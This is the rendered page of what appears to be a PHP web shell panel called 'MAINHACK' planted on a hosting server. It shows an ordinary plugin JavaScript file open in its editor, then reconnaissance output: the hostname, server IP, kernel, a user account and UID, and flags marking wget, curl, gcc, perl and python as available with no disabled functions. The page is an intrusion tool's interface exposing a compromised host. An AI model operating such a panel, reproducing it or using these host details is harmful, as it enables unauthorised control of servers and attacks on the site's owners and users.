[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: utils.js
import { pingServer } from '@shared/api/DataApi'; export const isOnLaunch = () => { const q = new URLSearchParams(window.location.search); return ['page'].includes(q.get('extendify-launch')); }; export const deepMerge = (target, ...sources) => { return sources.reduce((acc, source) => { if (!isObject(acc) || !isObject(source)) { return null; } const newTarget = {}; for (const k in acc) newTarget[k] = acc[k]; for (const key in source) { if (isObject(source[key]) && key in newTarget) { newTarget[key] = deepMerge(newTarget[key], source[key]); } else { newTarget[key] = source[key]; } } return newTarget; }, target); }; export const isObject = (value) => { return typeof value === 'object' && !Array.isArray(value) && value !== null; }; export const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); export const wasPluginInstalled = (activePlugins, pluginSlug) => activePlugins?.filter((p) => p.includes(pluginSlug))?.length; /** * Will ping every 1s until we get a 200 response from the server. * This is used because we were dealing with a particular issue where * servers we're very resource limited and rate limiting was common. * */ export const waitFor200Response = async () => { try { // This will error if not 200 await pingServer(); return true; } catch (_error) { // Do nothing } await new Promise((resolve) => setTimeout(resolve, 1000)); return waitFor200Response(); }; export const retryOperation = async (operation, { maxAttempts = 1 }) => { for (let attempt = 1; attempt <= maxAttempts; attempt++) { try { await waitFor200Response(); await operation(); break; } catch (error) { if (attempt === maxAttempts) { throw error; } } } };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830